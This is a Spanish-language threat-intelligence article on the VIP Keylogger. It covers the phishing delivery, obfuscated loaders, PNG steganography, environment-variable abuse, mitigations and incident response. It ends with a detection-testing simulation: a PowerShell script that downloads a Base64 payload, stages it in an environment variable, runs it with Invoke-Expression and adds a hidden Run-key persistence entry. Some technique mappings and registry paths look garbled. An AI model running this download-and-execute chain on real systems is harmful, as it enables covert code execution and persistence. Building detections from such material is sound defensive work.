SOC Prime Bias: Medio

18 May 2026 19:04 UTC

VIP Keylogger y sus tácticas de evasión en múltiples capas

Author Photo
SOC Prime Team linkedin icon Seguir
VIP Keylogger y sus tácticas de evasión en múltiples capas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

VIP Keylogger es una amenaza modular de robo de información entregada a través de cebos de phishing como alertas falsas de pagos bancarios. Su cadena de infección depende de cargadores basados en VBS, JavaScript o batch que usan una fuerte ofuscación, esteganografía en imágenes PNG y abuso de variables de entorno para ocultar etapas de PowerShell antes de lanzar el keylogger final. Una vez activo, el malware captura credenciales, capturas de pantalla, contenidos del portapapeles y contraseñas de Wi-Fi, y luego exfiltra los datos a través de múltiples canales de comando y control. Los esfuerzos de detección deben centrarse en cambios sospechosos en el registro, valores inusuales de variables de entorno y transiciones anormales de la ejecución de scripts a cargas útiles binarias.

Investigación

El equipo de Investigación de Amenazas de Splunk revisó más de 200 muestras de cargadores recopiladas en marzo y abril de 2026, documentando sus patrones de nomenclatura, variantes de cargadores y el uso esteganográfico de archivos PNG para la entrega de cargas útiles. Los investigadores reprodujeron el proceso de desofuscación, identificaron el abuso de la INTERNAL_DB_CACHE variable de entorno e identificaron la persistencia en la clave de registro UserInitMprLogonScript . El informe también asignó cada comportamiento observado a técnicas relevantes de MITRE ATT&CK para apoyar la ingeniería de detección.

Mitigación

Las organizaciones deben detener los intentos iniciales de phishing mediante controles de seguridad de correo electrónico más fuertes y filtrado de URL. Los defensores deben monitorear la creación y modificación de los valores de HKCUEnvironment , especialmente entradas de gran tamaño o el uso de la variable INTERNAL_DB_CACHE . La ejecución de cargadores basados en scripts desde directorios escribibles por usuario debe ser restringida, y se debe aplicar el Modo de Lenguaje Restringido de PowerShell donde sea posible. Las herramientas de seguridad de punto final también deben detectar inyecciones de procesos en aspnet_compiler.exe y actividad sospechosa de netsh .

Respuesta

Si se detecta un indicador de VIP Keylogger, aísle el host afectado, recopile la memoria volátil y los registros de ejecución de procesos recientes, y busque los artefactos de registro conocidos, las URLs de comando y control basadas en PNG y los archivos dejados. Los scripts maliciosos deben ser eliminados, las credenciales expuestas restablecidas, y se debe realizar un barrido más amplio en todo el entorno en busca de artefactos de cargadores relacionados y mecanismos de persistencia.

Flujo de Ataque

Ejecución de Simulación

Requisito previo: La Verificación de Prevuelo de Telemetría y Línea de Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un error de diagnóstico.

  • Narrativa del Ataque y Comandos:

    1. Reconocimiento Inicial – el atacante ejecuta Get-ADDomain (T1016.002) para descubrir relaciones de confianza de dominio.
    2. Adquisición de Carga Útil – usando Invoke-WebRequest (T1071.001) el atacante descarga una DLL codificada en Base64 que implementa el keylogger (T1056.001).
    3. Etapa por Variable de Entorno – la cadena descargada se almacena en una variable de entorno a nivel de usuario a través de [Environment]::SetEnvironmentVariable. Este paso satisface el enfoque de la regla de detección en la manipulación de variables de entorno.
    4. Ejecución Dinámica – el atacante ejecuta inmediatamente la carga útil con Invoke-Expression $env:VIPPayload (T1059.001). El keylogger comienza a capturar pulsaciones de teclas, capturas de pantalla (T1113), y datos del portapapeles (T1115).
    5. Limpieza – después de establecer la persistencia (por ejemplo, creando una clave Run, T1037.001), el atacante elimina el DLL temporal del disco (T1070.004) y elimina la variable de entorno para reducir la huella forense.
  • Script de Prueba de Regresión: El script a continuación reproduce los pasos exactos y genera la telemetría que la regla de Sigma espera.

    # Simulación de VIP Keylogger – PowerShell
    # -------------------------------------------------
    # 1. Descargar una carga útil de ejemplo (cadena codificada en Base64)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Almacenar la carga útil en una variable de entorno a nivel de usuario
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Decodificar y ejecutar la carga útil mediante Invoke‑Expression
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Opcional) Persistir a través de la clave Run – demuestra T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Limpieza – eliminar la variable de entorno y la entrada de la clave Run
    Start-Sleep -Seconds 30   # permitir que alguna actividad sea registrada
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Comandos de Limpieza: Ejecute estos comandos para devolver el sistema a un estado prístino después de la prueba.

    # Remove the environment variable created for the test
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Delete the persistence Run key entry if it exists
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Clear any residual PowerShell history entries (optional)
    Clear-History